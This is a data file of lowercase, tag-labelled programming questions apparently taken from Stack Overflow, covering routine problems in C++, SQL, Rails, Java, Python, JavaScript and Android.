c++ error received  i have this code: i receive next error: a::a(int) candidate expect 1 argument  0 provided but i cannot understand what the problem is.   <pre><code>#include &lt;iostream&gt;  using namespace std; class a {     int x;     public:     a(int i):x(i) {}     int get_x() const {return x;} };  class b:public a {     int *y;     public:     b(int i):a(i) {y=new int[i]; for(int j=0;j&lt;i;j++) y[j]=1;} b(b&amp;);     int &amp;operator[] (int i) {return y[i];} };  b::b(b&amp;a) {     y=new int[a.get_x()];     for(int i=0;i&lt;a.get_x();i++) y[i]=a[i]; } ostream&amp; operator&lt;&lt;(ostream&amp; o  b a) {     for(int i=0;i&lt;a.get_x();i++) o&lt;&lt;a[i];     return o; } int main() {     b b(5);     cout&lt;&lt;b;     return 0; } </code></pre>,c++
message.last returning different results  i am seeing extremely weird results when i do .last on a list of instances. it seems to be changing. what i m looking to do is check the second to last message that was received. here s the output from the console that is so weird:   <pre><code>irb(main):002:0&gt; c.messages.last =&gt; #&lt;message id: 140426  user_id: nil  customer_id: 21672  text:  my personal coupon code doesn t work    direction:  received   created_at:  2014-08-14 14:20:47   updated_at:  2014-08-14 14:20:47   viewed: true  company_id: 2  via_api: false  error_description: nil&gt; irb(main):003:0&gt; c.messages[0] =&gt; #&lt;message id: 140426  user_id: nil  customer_id: 21672  text:  my personal coupon code doesn t work    direction:  received   created_at:  2014-08-14 14:20:47   updated_at:  2014-08-14 14:20:47   viewed: true  company_id: 2  via_api: false  error_description: nil&gt; irb(main):004:0&gt; c.messages[-1] =&gt; #&lt;message id: 130979  user_id: 4  customer_id: 21672  text:  you are officially a mayvenn! to confirm your infor...   direction:  sent   created_at:  2014-08-11 18:02:18   updated_at:  2014-08-11 18:02:18   viewed: true  company_id: 2  via_api: true  error_description: nil&gt; irb(main):005:0&gt; c.messages[1] =&gt; #&lt;message id: 140371  user_id: 4  customer_id: 21672  text:  have upcoming appointments  make sure to text them ...   direction:  sent   created_at:  2014-08-14 14:17:51   updated_at:  2014-08-14 14:17:51   viewed: true  company_id: 2  via_api: true  error_description: nil&gt; irb(main):006:0&gt; c.messages.last =&gt; #&lt;message id: 130979  user_id: 4  customer_id: 21672  text:  you are officially signed up! to confirm your infor...   direction:  sent   created_at:  2014-08-11 18:02:18   updated_at:  2014-08-11 18:02:18   viewed: true  company_id: 2  via_api: true  error_description: nil&gt; </code></pre>   the  you are officially signed up!  message is the first message this user received and the  my personal coupon code...  is the last. what am i doing wrong here     how do i get the second to last message consistently,ruby-on-rails
fixed sidebar that doesn t overlap with footer  i am trying to create a sidebar that remains fixed at it s position when i scroll the page up/down. at the same time i want it stop scrolling when footer is reached so that the sidebar doesn t overlap with footer.    i used this plugin <a href= http://mojotech.github.com/stickymojo/  rel= nofollow >http://mojotech.github.com/stickymojo/</a> however  i am making some mistake in it s implementation. can somebody please help me with this     <strong>edit</strong>    html   <pre><code>&lt;div class= wrapper &gt;     &lt;div id= sidebar &gt;&lt;/div&gt;     &lt;div id= content &gt;&lt;/div&gt; &lt;/div&gt; &lt;div id= footer &gt;&lt;/div&gt; </code></pre>   css   <pre><code>.wrapper { width: 1000px } #sidebar { float: left; width: 164px } </code></pre>   the footer is fetched from a file called footer.phtml i have added this in footer.phtml    <pre><code>&lt;script type= text/javascript  src= js/stickymojo.js &gt;&lt;/script&gt; &lt;script&gt;     $(document).ready(function(){         $( #sidebar ).stickymojo({ footerid:  #footer   contentid:  #content  });     }); &lt;/script&gt; </code></pre>   the script stickymojo.js shows up in the resources  but the sidebar doesn t stick to it s position.,jquery
i am getting perfect view in graphical layout but in avd its not looking good.is there any solution   i am getting proper view in my graphical layout but when i see the output in avd its not covering the whole screen.how can i make it proper can anyone help me. thanks in advance.    my landscape layout-land\main.xml   <pre><code>&lt;absolutelayout     android:layout_width= match_parent      android:layout_height= match_parent      android:layout_gravity= center_horizontal &gt;        &lt;tablelayout                         android:layout_width= match_parent                          android:layout_height= match_parent                          android:weightsum= 1.0                           android:orientation= horizontal                           android:gravity= center                       &gt;                          &lt;tablerow                             android:layout_width= wrap_content                              android:layout_height= wrap_content  &gt;                      &lt;textview                         android:id= @+id/textview1                          android:layout_width= fill_parent                          android:layout_height= wrap_content                          android:layout_marginleft= 10dp                          android:layout_weight= 1                          android:text= @string/msg  /&gt;                         &lt;/tablerow&gt;                  &lt;tablerow                     android:layout_width= wrap_content                      android:layout_height= wrap_content  &gt;                      &lt;edittext                         android:id= @+id/edittext1                          android:layout_width= match_parent                          android:layout_height= wrap_content                          android:layout_marginleft= 40dp                          android:layout_marginright= 30dp                          android:layout_weight= 1                           android:singleline= true /&gt;                 &lt;/tablerow&gt;                      &lt;tablerow                         android:layout_width= wrap_content                          android:layout_height= wrap_content  &gt;                      &lt;textview                         android:id= @+id/textview1                          android:layout_width= fill_parent                          android:layout_height= wrap_content                          android:layout_marginleft= 10dp                          android:text= @string/hint  /&gt;                     &lt;/tablerow&gt;                     &lt;tablerow                         android:layout_width= wrap_content                          android:layout_height= wrap_content  &gt;                      &lt;edittext                         android:id= @+id/txt_hint                          android:layout_width= match_parent                          android:layout_height= wrap_content                          android:layout_marginleft= 40dp                          android:layout_marginright= 30dp                          android:layout_weight= 1                           android:singleline= true                         /&gt;                     &lt;/tablerow&gt;                      &lt;tablerow                         android:layout_width= match_parent                          android:layout_height= wrap_content                          android:gravity= center_horizontal  &gt;                       &lt;linearlayout                             android:layout_width= wrap_content                              android:layout_height= wrap_content                              android:orientation= horizontal                              android:weightsum= 1.0 &gt;                               &lt;button                               android:id= @+id/btn_encry                                                         android:layout_width= wrap_content                                android:layout_height= wrap_content                                android:layout_weight= 0.3                                android:gravity= center_horizontal                                android:layout_marginleft= 75dp                                android:text= @string/encrybutton  /&gt;&lt;/linearlayout&gt;                     &lt;/tablerow&gt;                      &lt;/tablelayout&gt;         &lt;/absolutelayout&gt; </code></pre>,android
mysql - where clause slower than full scan  query a   <pre><code>select id from jobs;  | 55966 | | 55971 | +-------+ 10705 rows in set (0.00 sec) </code></pre>   query b   <pre><code>select id from jobs where status = 0; | 55966 | | 55971 | +-------+ 7933 rows in set (**20.22 sec**) </code></pre>   there is an index on status.   <pre><code>mysql&gt; explain select id from jobs where status = 0; +----+-------------+-------+------+---------------+------+---------+------+-------+-------------+ | id | select_type | table | type | possible_keys | key  | key_len | ref  | rows  | extra       | +----+-------------+-------+------+---------------+------+---------+------+-------+-------------+ |  1 | simple      | jobs  | all  | status        | null | null    | null | 10705 | using where | +----+-------------+-------+------+---------------+------+---------+------+-------+-------------+ 1 row in set (0.01 sec)   mysql&gt; show profile for query 1; +--------------------------------+-----------+ | status                         | duration  | +--------------------------------+-----------+ | starting                       |  0.000023 | | checking query cache for query |  0.000039 | | checking permissions           |  0.000006 | | opening tables                 |  0.000008 | | system lock                    |  0.000004 | | table lock                     |  0.000016 | | init                           |  0.000021 | | optimizing                     |  0.000007 | | statistics                     |  0.000904 | | preparing                      |  0.000023 | | executing                      |  0.000003 | | sending data                   | 19.751547 | | end                            |  0.000009 | | query end                      |  0.000002 | | freeing items                  |  0.001561 | | storing result in query cache  |  0.000122 | | logging slow query             |  0.000002 | | logging slow query             |  0.000002 | | cleaning up                    |  0.000003 | +--------------------------------+-----------+  mysql&gt; show index from jobs; +-------+------------+----------+--------------+-------------+-----------+-------------+----------+--------+------+------------+---------+ | table | non_unique | key_name | seq_in_index | column_name | collation | cardinality | sub_part | packed | null | index_type | comment | +-------+------------+----------+--------------+-------------+-----------+-------------+----------+--------+------+------------+---------+  | jobs  |          1 | status   |            1 | status      | a         |           6 |     null | null   | yes  | btree      |         | | jobs  |          1 | date     |            1 | dateinit    | a         |        1784 |     null | null   | yes  | btree      |         | +-------+------------+----------+--------------+-------------+-----------+-------------+----------+--------+------+------------+---------+ 10 rows in set (0.02 sec) </code></pre>   i dont understand why query b takes 20 seconds while query a takes 0 . index on  status . same result on prod and dev. server.,mysql
having sum() issue  i want to add the total sales by date using the having sum () variable but it is not working as expected.   <pre><code>    select        sum(salesa+salesb) as sales         sum(tax) as tax         count(distinct salesid) as numofsales         date     from        salestable     where        date &gt;=  2014-03-01      group by        date  salesa     having        sum(salesa+salesb) &gt;= 7000     order by        date  </code></pre>   the results are;   <pre><code>   |sales| tax | numofsales | date |     10224| 345 |     1      |2014-03-06|       9224| 245 |     1      |2014-03-06|      7224| 145 |     1      |2014-03-06| </code></pre>   if i remove the salesa in the group by clause it seems to ignore my having sum clause and adds all the totals.    i would like the results to sum all by date like this .   <pre><code>    |sales| tax | numofsales | date |      26672| 735 |     3      |2014-03-06 </code></pre>   thank you for any help you can provide.,sql
reading a text file  i am trying to achieve a situation where i load a file into the program. i can use streamreader for this. each record will be 7 lines long. therefore lines 1 8 15 22 etc will all hold the same value. as will 2 9 16 23  etc and so on.    what is the best way to achieve this  so that when i load the records in the listview  it recognises what i just said.  thanks,c#
python index in nested for loop  i can put it in another example:   <pre><code>q=[[100 101 103 104] [201 202 204] [301 302 304] [401 402 403]]  for index  item in enumerate(q):       for i t in enumerate(q[index]):           if q[index][i+1]-q[index][i]==2:              print index  i  q[index][i] </code></pre>   which returns   <pre><code>0 1 101 </code></pre>   it supposed to return   <pre><code>0 1 101 1 1 202 2 1 302 </code></pre>   it seems the break statement  break the loop so it stops at the first list.    if i modify it by    <pre><code> for index  item in enumerate(q):         try:             for i range(len(q[index]-1)):                 if q[index][i+1]-q[index][i]==2:                     print index  i  q[index][i]         except indexerror:                 break </code></pre>   of course it is good  but i still want to know if there is a way that not to have to reduce the index as the last item is valuable as well.,python
change div id based on current date  i am trying to figure out how to have a <code>&lt;div/&gt;</code> automatically reposition itself based upon the current date. basically  the <code>&lt;div/&gt;</code> to be moved contains an <code>&lt;hr/&gt;</code> line that separates  past  and  future  items in a list  the items of which are identified by a date (<code>yymmdd</code>). here is what i mean:   <pre><code>&lt;head&gt; &lt;!-- first  set date (yymmdd) as id for div  timeline  --&gt; &lt;script&gt; var today = new date(); var dd = today.getdate(); var mm = today.getmonth()+1; //january is 0! var yy=today.getfullyear().tostring().substr(2  2);  if(dd&lt;10) {      dd= 0 +dd }   if(mm&lt;10) {     mm= 0 +mm }  today = yy+mm+dd;  var element = document.getelementbyid( timeline ); element.setattribute( data_date   today);  &lt;/script&gt;   &lt;!-- next  move  timeline  dynamically so that it positions itself in-between past &amp; future events --&gt; &lt;script type= text/javascript &gt; function sortdiv() { var container = document.getelementbyid( content ); var elements = container.childnodes; var sortme = []; for (var i=0; i&lt;elements.length; i++) {     if (!elements[i].id) {         continue;     }     var sortpart = elements[i].id.split( - );      if (sortpart.length &gt; 1) {         sortme.push([ 1 * sortpart[1]   elements[i] ]);     } }  sortme.sort(function(x  y) {     return y[0] - x[0]; }); for (var i=0; i&lt;sortme.length; i++) {     container.appendchild(sortme[i][1]); } document.getelementbyid( button ).innerhtml =  done. ; } &lt;/script&gt; &lt;/head&gt;  &lt;div id= content &gt; &lt;div id= button &gt;&lt;a href= #  onclick= sortdiv(); &gt;sort!&lt;/a&gt;&lt;/div&gt; &lt;!-- right now i have a button to trigger the function for testing  but this will change to an onload when it works --&gt; &lt;div id= timeline &gt;     &lt;hr align= left &gt;     &lt;hr align= left &gt; &lt;/div&gt;  &lt;div class= date  data_date= 170206 &gt;some content&lt;/div&gt; &lt;div class= date  data_date= 161011 &gt;some more content&lt;/div&gt; &lt;div class= date  data_date= 160915 &gt;even more content&lt;/div&gt; </code></pre>,javascript
passing regex results to a function  i am trying to replace the values in a string at run time based on the contents within a set of braces.   <pre><code>// this.linkurl =  /accounts/{accountid}  this.linkurl = regex.replace(account.company.linkurl  @ \{(.* )\}    $1 ); // this.linkurl =  /accounts/accountid  </code></pre>   so far it works as expected and removes the braces. but how can i pass the $1 value into a function  like so   <pre><code>this.linkurl = regex.replace(account.company.linkurl  @ \{(.* )\}   this.getvalueforfieldnamed( $1 )); </code></pre>   so that  accountid  is replaced with the value the function returns  e.g.  /accounts/56,c#
automaticly fill in text after username in login box  i m searching for an option to fill in something automaticly after a username in the login box like: perry@test    so @test should be always there after your username.    this is what we use right now.    <em></em>,html
undefined reference to static const integral type  i have a weird behaviour with static integal constants:   <pre><code>#include &lt;iostream&gt; #include &lt;inttypes.h&gt;  class test{ public:  static const uint32_t magic = 0x1123; };  class datastream{ public:     template&lt;typename t&gt;     datastream&amp; operator &lt;&lt;( const t&amp; value )     {         std::cout &lt;&lt; value &lt;&lt; std::endl;         return *this;     } };  int main() {     datastream s;      uint32_t a = test::magic;  // ok     bool compare = ( a == test::magic ); // ok     s &lt;&lt; compare;     s &lt;&lt; a;     s &lt;&lt; test::magic;  // fail      return 0; } </code></pre>   i know that such constants should be defined outside of class in .cpp as   <pre><code>const uint32_t test::magic; </code></pre>   but strange things is that code above work fine with out line <code>s &lt;&lt; test::magic;</code> and produce error only if <code>magic</code> used with template <code>operator &lt;&lt;</code> directly.    even more error <code>undefined reference to  test::magic </code> appear with <code>gcc</code>  but not with <code>msvc</code>.    the question is why i should define <code>test::magic</code> outside of class (even without value!!!)  and why my code work fine in some conditions even without such definition,c++
meaning of this #pragma notation  what could be the meaning of this notation.   <pre><code>#pragma warning( disable : 4530 ) </code></pre>,c++
how to catch  cannot delete or update a parent row: a foreign key constraint fails  expression and throw it on to a new page   i use the following code to catch the sql expression  when i try to delete a primary key wich is also a foreign key and is mapped to another table  my question is  how do you forward this to a common error page      to catch the expression    <pre><code>if(e.exception is sqlexception)         {              sqlexception ex = (sqlexception)e.exception;               if (ex.number == 547)                 errormessage( record cannot be deleted or changed   +                                  as it is being used somewhere else );               else if (ex.number == 2627)                 errormessage( record cannot be saved  as another   +                                record with this key already exists );               else                 errormessage(ex.message.tostring());         }         else              errormessage( system error : +e.exception.message.tostring()); </code></pre>,sql
sql left joining tables with ambiguous column names  i need to left join a few tables in a query where the column names are ambiguous.    <strong>listingcategory_listings:</strong>   <blockquote>    id | listingcategoryid | listingid | ..  </blockquote>   <strong>sitetree_live:</strong>   <blockquote>    id | classname | title | content | ..  </blockquote>   <strong>listingcategory:</strong>   <blockquote>    id | iconid  </blockquote>   <strong>file:</strong>   <blockquote>    id | classname | name | title | filename | ..  </blockquote>   i have the query:   <pre><code>select * from listingcategory_listings  left join listing on listingcategory_listings.listingid = listing.id  left join sitetree_live on listing.id = sitetree_live.id  left join listingcategory on listingcategory_listings.listingcategoryid = listingcategory.id  left join file on listingcategory.iconid = file.id </code></pre>   both the listing and listing category data is stored in the sitetree_live table  when my records are returned  obviously  the title  id  content and other ambiguous fields are returned under the heading title  id  content.    i need to access both the listing title and the listing category title and other specific information. if they had their data stored in different tables i could use select listing.title as ltitle but how can i do something similar in this situation,sql
ios kills app in background after some time  do ios kills background apps when the battery consumption goes down by certain extent. can u specify after how much consumption of battery level do ios starts killing background apps   any help will be appreciated.,objective-c
the cast to value type  boolean  failed because the materialized value is null <pre><code>public actionresult votation(int id=0)     {         var events = db.events_info_tbl.where(x =&gt; x.is_active == true).firstordefault();         //query the first category         list&lt;campaignmanager_tbl&gt; candidates = new list&lt;campaignmanager_tbl&gt;();          candidates = (from cat in db.events_category_tbl                      join can in db.candidates_info_tbl                       on cat.events_category_id equals can.events_category_id                      where cat.events_info_id == events.events_info_id                      select new campaignmanager_tbl {                          events_category_name = cat.events_category_name                           candidates_fullname = can.candidates_fullname                           candidates_info_id = can.candidates_info_id                           vote_no = cat.vote_no.value                           isselected = can.isselected.value                           events_category_id = cat.events_category_id                      }).tolist();          return view(candidates);     } </code></pre>   this code was working before but now i ve got this error: <code>the cast to value type  boolean  failed because the materialized value is null. either the result type s generic parameter or the query must use a nullable type.</code>    what s wrong with this  i didn t change any of my codes before. it just this time i ve got an error.,c#
replacing individual characters in a stringbuffer  i m trying to replace the individual  a  character in  amazon  by using the <strong>.replace</strong> method in java.    i know how to do this with strings  but when i use the code below with stringbuffers  i get an output of  amaazon  instead.     does anyone know of a way to replace the individual characters in a stringbuffer    <pre><code>    public class hello {      public static void main(string argv[]) {     stringbuffer str1 = new stringbuffer( amazon );     string str = new string( rainforest );     int a = str.indexof( o  2);     stringbuffer str2 = str1.replace(2  2   a );     system.out.println(a);     system.out.println(str2);     }  }  </code></pre>   managed to find the right way to do it through the answer  so i thought i d post my corrected code:   <pre><code>public class hello {  public static void main(string argv[]) { stringbuffer str1 = new stringbuffer( amazon ); string str = new string( rainforest ); int a = str.indexof( o  2); stringbuffer str2 = str1.replace(0  1   b ); system.out.println(a); system.out.println(str2); }  </code></pre>   }     to get the output of  bmazon     thanks to the answerer!,java
how to import packages in java  i am new in java programming language and i want to use a library by importing their packages . can anyone tell me how can i import packages in java using text editor  i found this library in github and i wanted to use their packages for my java code i am developing by using import. i tried just to call these packages on my code by using import but in compiler there was an error which states: packages not found.   <pre><code>import com.tiemens.secretshare.main.cli.*; import com.tiemens.secretshare.main.cli.*;  import java.io.*; import java.math.biginteger; import java.nio.file.files; import java.nio.file.paths; import java.util.arraylist; import java.util.regex.matcher; import java.util.regex.pattern;  import static java.lang.integer.min; import static java.util.arrays.copyofrange;   public class shamir {      //the encoding that will be used when splitting and combining files.     static string encoding =  iso-8859-1 ;     //the number of bytes per piece (except maybe the last one)!     static int piecesize = 128;      //mode 0 for strings  1 for ints.     public static arraylist&lt;string&gt; shamirsplit(string inputstring  int numpieces  int minpieces  int mode) {          string type =  -ss ;         if (mode == 1) {             type =  -sn ;         }          arraylist&lt;string&gt; parts = new arraylist&lt;&gt;();         string[] splitargs = { -n   integer.tostring(numpieces)   -k   integer.tostring(minpieces)  type  inputstring   -primenone };         mainsplit.splitinput splitinput = mainsplit.splitinput.parse(splitargs);         mainsplit.splitoutput splitoutput = splitinput.output();         bytearrayoutputstream baos = new bytearrayoutputstream();         printstream ps = new printstream(baos);         splitoutput.print(ps);         string content = baos.tostring(); // e.g. iso-8859-1         bufferedreader reader = new bufferedreader(new stringreader(content));         string line;         int i = 0;         try {             while ((line = reader.readline()) != null &amp;&amp; i &lt; numpieces) {                 if (line.startswith( share (x )) {                     i++;                     parts.add(line.trim());                 }             }         } catch (exception e)  </code></pre>   so my class i want to implement is shamir class but i need to import com.tiemens.secretshare.main.cli.*;    can anyone tell me how to make this package work for my shamir class,java
leasing jobs (atomic update and get) from a mysql database  i have a mysql table that manages jobs that worker-clients can lease for processing. apart from the columns that describe the job  the table has a unique primary key column <code>id</code>  a time-stamp-column <code>lease</code>  a boolean-column <code>complete</code>  and an int-column <code>priority</code>.    i m trying to write a (set of) sql statement(s) that will manage the leasing-process. my current plan is to find the first incomplete job that has a lease-date that is at least 8 hours in the past (no job should take more than one hour  so an incomplete lease that is <em>that</em> old probably means that the client died and the job needs to be restarted)  set its lease-date to the current time-stamp  and return its info. all of this  of course  needs to happen atomically.    i found a neat trick <a href= https://stackoverflow.com/questions/2460707/how-to-atomically-claim-a-row-or-resource-using-update-in-mysql/2462304#2462304 >here on so</a> and a variation of it in the discussion of the mysql documentation (<a href= https://dev.mysql.com/doc/refman/5.0/en/update.html  rel= nofollow noreferrer >see post on 7-29-04 here</a>) that uses user-defined variables to return the leased job from an <code>update</code> statement.    and  indeed  this works fine:   <pre><code>update jobs set lease=now() where timestampdiff(hour lease now())&gt;=8 and not complete and @id:=id limit 1; select * from jobs where id=@id; </code></pre>   the problem comes in when i try to add priorities to the jobs and add <code>order by priority</code> into the <code>update</code> statement right before <code>limit</code>. the <code>update</code> still works as expected  but the <code>select</code> always returns the same row back (either the first or the last  but not the one that was actually updated). i m a little confused by this  since <code>limit 1</code> should make sure that the first update that actually happens will terminate the <code>update</code> process  leaving <code>@id</code> set to the correct value of that updated row  no  for some reason it seems to keep evaluating the condition <code>@id:=id</code> for all rows anyways  even after it s done with its update (or maybe it evaluates it first for all rows before even figuring out which one to update  i don t know...).    to fix this  i tried rewriting the statement to make sure the variable really only gets set for the matching row:   <pre><code>update jobs set lease=now() @id:=id where timestampdiff(hour lease now())&gt;=8 and not complete order by priority limit 1; </code></pre>   but for some reason  this gives me the following error:   <pre class= lang-none prettyprint-override ><code>error code : 1064 you have an error in your sql syntax; check the manual that corresponds to your mysql server version for the right syntax to use near  @id:=id where timestampdiff(hour lease now())&gt;=8 and not complete order by prior  at line 1 </code></pre>   so  it seems that i can t assign the variable in the <code>set</code>-part of the the <code>update</code> (although this was the way it was suggested in the so-answer linked above).    can this approach be salvaged somehow or is there a better one altogether     <em>ps: i m using mysql server v5.5.44-0+deb8u1</em>,mysql
most elegant way of updating comments in a rails blog app  i have a fairly standard blog app with the usual post and comments controller/models along with a user model for leaving comments.    so in the user model i have   <pre><code>has_many :comments </code></pre>   and in the the comments model   <pre><code>belongs_to :post belongs_to :user </code></pre>   all very straight forward.    in the app i m creating i want the comments to act a little differently. when the user leaves a comment for the first time then i will create a new comment. however i only want to allow one comment per post per user. if the user tries to leave another comment then we should only update the existing comment.    to do this i have added a this to the user model   <pre><code>has_many :posts  :through =&gt; :comment </code></pre>   and in the posts controller i have the following in the show action.   <pre><code>if post = current_user.posts.find_by_permalink(params[:id])   @comment = post.comments.find_by_user_id(current_user) else   @comment = comment.new end </code></pre>   this works in that it checks if the user already made a comment on this post and if so then it will result in an update to the comment rather than a new one posted.    but  the above code doesn t sit right with me. is there a more elegant solution,ruby-on-rails
passing content from controller to custom directive present outside of the controller  how i can pass content from controller to custom directive which is present outside of the controller.    html   <pre><code>&lt;div ng-controller= addcontent &gt; &lt;a href= #  ng-click= addcontenttobox( 1234567 ) &gt;add content 1234567&lt;/a&gt; &lt;/div&gt; &lt;outside-box&gt;&lt;/outside-box&gt; </code></pre>   controller   <pre><code>angular.module( myapp ) .controller( addcontent   function ($scope) { $scope.addcontenttobox = function(content){         $scope.msg = content;     } }); </code></pre>   directive   <pre><code>    angular.module( myapp ) .directive( outsidebox   function () {  return {     templateurl :  msg.html    }; }); </code></pre>   msg.html   <pre><code>number - {{msg}} </code></pre>,angularjs
program that splits strings isn t working   i ve created a program that splits a string into  well  more strings  based around a <code>.</code> so  for instance  say i input the string     <code>workspace.sitenet.character.humanoid</code>    it is supposed to print   <pre><code>workspace sitenet character humanoid </code></pre>   however  it prints   <pre><code>workspace sitenet.character character.humanoid humanoid </code></pre>   this is the code.   <pre><code>#include  stdafx.h  #include &lt;windows.h&gt; #include &lt;iostream&gt; #include &lt;vector&gt; #include &lt;sstream&gt; #include &lt;wininet.h&gt; #include &lt;fstream&gt; #include &lt;istream&gt; #include &lt;iterator&gt; #include &lt;algorithm&gt; #include &lt;string&gt; #include &lt;psapi.h&gt; #include &lt;tlhelp32.h&gt;   int main() {   std::string str;   std::cin &gt;&gt; str;   std::size_t pos = 0  tmp;   std::vector&lt;std::string&gt; values;   while ((tmp = str.find( .   pos)) != std::string::npos) {     values.push_back(str.substr(pos  tmp));     pos = tmp + 1;   }   values.push_back(str.substr(pos  tmp));    for (pos = 0; pos &lt; values.size(); ++pos){     std::cout &lt;&lt;  string part   &lt;&lt; pos &lt;&lt;   is   &lt;&lt; values[pos] &lt;&lt; std::endl;   }   sleep(5000); } </code></pre>,c++
how to improve a adt   i am going to design and implement an adt representing an unfair set. a set is an adt which follows the same rules as real sets  new items are added to the back of the set (pushing) and old items are removed from the front of the set (popping).    when i attempt to add a value which already exists in the set nothing happens. this is the standard expected behavior for a set. the difference between a normal set and the unfair set i will submit is that when i push an uppercase letter onto the set it should be added regardless of whether it already exists in the set.    the upper content is the question i m facing.     the code i tried to write:   <pre><code>class set: class full(exception):     pass class empty(exception):     pass   def __init__(self  data=none):          show the set base and the data are inside the dictionary        self.data = {} # the dictionary of the set     if data != none:          if len(data) != len(set(data)):             data = set(data)         for d in data:             self.data[d] = d  def add(self  value):         this function show how to add value in to the set  if value        in the set  it will return a message and stop the process. else         the new value will add into the set         if value in self.data.keys():         return  this word is already in set      else:         self.data[value] = value # value == key  so it only show the value is store  def remove(self  value):         this function is use for removing value from the set         if the value is not in the set  it will return a message         if value not in self.data.keys():         return  no value found in the set       self.data.pop(value)  def size(self):          returns the number of values currently stored in the          set          return len(self.data.keys())  def is_in(self  value):          this funiction use for test is the current value save in         teh set  if yes it will return true. else return false.         if i in self.data.keys():         return true     else:         return false   def is_in(self  value):          this funiction use for test is the current value save in         teh set  if yes it will return true. else return false.         if i in self.data.keys():         return true     else:         return false </code></pre>   the functions i want to run in the program:   <ul> <li><code>size</code> should return the current size of the unfair set.</li> <li><code>add</code> should add a given character to the unfair set.</li> <li><code>remove</code> should remove a given character from the unfair set  in cases where uppercase characters are stored multiple times then one of them should be removed.</li> <li><code>is_in</code> should indicate if a given character is currently stored in the unfair set.</li> </ul>   how can i improve them without using any <code>set</code> or <code>frozenset</code> in python library and store at least 100 words,python
error when inheriting from a template class with multiple parameters  <strong>goal</strong>: to inherit from a class with 2 template parameters.    <strong>error</strong>    <blockquote>    error error c2143: syntax error : missing     before  &lt;   </blockquote>   <strong>the code</strong>       <pre><code>template&lt; typename type &gt; class assetmanager : public isderivedfrombase&lt; type  asset* &gt; {     // class specific code here }; </code></pre>   <strong>things you need to know:</strong> asset is a class that just wraps a <code>char*</code> with a getter/setter and <code>isderivedfrombase</code> will be used to basically test wether or not <code>type</code> is a derivative of <code>asset</code>. these sets of classes are isolated in there own small scale visual studio 2012 project and will be integrated into the main project once all the functionality has been tested thoroughly.    <strong>some edits based on comments</strong>    thank you for the help so far  i really appreciate it. here are some more specifics:    <em>isderivedfrombase.h</em>   <pre><code>#ifndef isderivedfrombase_h #define isderivedfrombase_h  #include&lt; iostream &gt; // for access to null  namespace fenrir {     template&lt; typename type  typename base &gt;     class isderivedfrombase     {     private:         static void constraints( type* _inheritedtype )         {             base* temp = null;              // should throw compiler error if             // this assignment is not possible.             temp = _inheritedtype;         }      protected:         isderivedfrombase( ) { void( *test )( type* ) = constraints; }     }; }  #endif </code></pre>   <em>note</em>: this class was based off of a class i read about in an article. i have since found a better way to achieve the desired result; however  i wish to understand where this error is stemming from.    <em>assetmanager.h </em>   <pre><code>#ifndef assetmanager_h #define assetmanager_h  #include  isderivedfrombase.h   namespace fenrir {     template&lt; typename type &gt;     class assetmanager : public isderivedfrombase&lt; type  asset* &gt;     {         // class specific code     }; }  #endif </code></pre>   keeping <em>class specific code</em> to a minimum to keep this post as neat as possible  if more info is needed just let me know and i can add it in :).,c++
java: adding new element to list<string>  i have the following code:   <pre><code>public void parseattribs(string attribs){     //attribs is a comma separated list    //we are making a list from attribs by splitting the string at the commas     list&lt;string&gt; attributes = arrays.aslist(attribs.split( \\s* \\s* ));     //when i try to add an element to the attributes list if fails    attributes.add( an element ); </code></pre>   i ve found this <a href= https://stackoverflow.com/questions/5055936/how-can-i-add-a-string-to-an-arraylist-in-java >unable to add a string to an arraylist: &quot;misplaced construct(s)&quot;</a> and tried to create a sub-class but i had to pass the list to the subclass as well and it still didn t work.    could anyone please shed some light on this     many thanks,java
convert date string to unix timestamp  i have a string:    <code>mon jul 07 2014 13:47:03 gmt+0800 (malay peninsula standard time)</code>    i want to convert to unix timestamp in php.    however using <code>strtotime()</code> does not work for me. is there any other work around so i can get the unix timestamp from this string,php
combining multiple insert statements into one <pre><code>insert into table weeks (id  wk1) select id  week1 from tbl1 where id = 100;  insert into table weeks (id  wk2) select id  week2 from tbl1 where id = 100; insert into table weeks (id  wk3) select id  week3 from tbl1 where id = 100; insert into table weeks (id  wk4) select id  week4 from tbl1 where id = 100; </code></pre>   is there a way to combine these statements into one,mysql
getting the distance between two location on iphone  i am trying to calculate the distance between the statringpoint which hold the initial value of location and the newlocation using the following code but i am getting null in distance. can anyone help me out with this   <pre><code>cllocationdistance distance = [newlocation getdistancefrom:startingpoint]; </code></pre>,iphone
custom library gives  no package found   i decided to make a custom .jar library just for the hell of it.    it s insanely basic  it s package name is  add  and looks like this:   <pre><code>public class addtogether{       public void addtogether(int a  int b  int c){       c=a+b       }} </code></pre>   so i try importing it in a file  by doing this:   <pre><code>public class test{ import add.*; public static void main (string[]        args){ int x; add(4 5 x); system.out.println(x); } } </code></pre>   and surprise surprise! no package found.    i did the whole dance of adding it to the ide in the preferences section  but it still doesn t work.    help please.,java
how to populate a column in each row with value  which will be combination of two other columns of the same row   i have users table  which has firstname and lastname columns. i want to add a new column username and populate it with concatenation of firstname and lastname  i.e. john smith should have smth like john_smith (j_smith) as username,sql
jquery controlid in user control  i have an asp.net usercontrol and am using jquery to do some stuff for me. i use the user control dynamically in different pages. i need to get the controlid of the control that is in the user control. how do i dynamically do a $( #mycontrol ) instead if $( #hostpage.mycontrol )  <strong>what is the syntax for $( &lt;%#mycontrol.controlid %>)  or can i do this.</strong>,jquery
is there a way to  version  my python distribution   i m working by myself right now  but am looking at ways to scale my operation.     i d like to find an easy way to version my python distribution  so that i can recreate it very easily. is there a tool to do this  or can i add <code>/usr/local/lib/python2.7/site-packages/</code> (or whatever) to an svn repo  this doesn t solve the problems with <code>path</code>s  but i can always write a script to alter the path. ideally  the solution would be to build my python env in a vm  and then hand copies of the vm out.    how have other people solved this,python
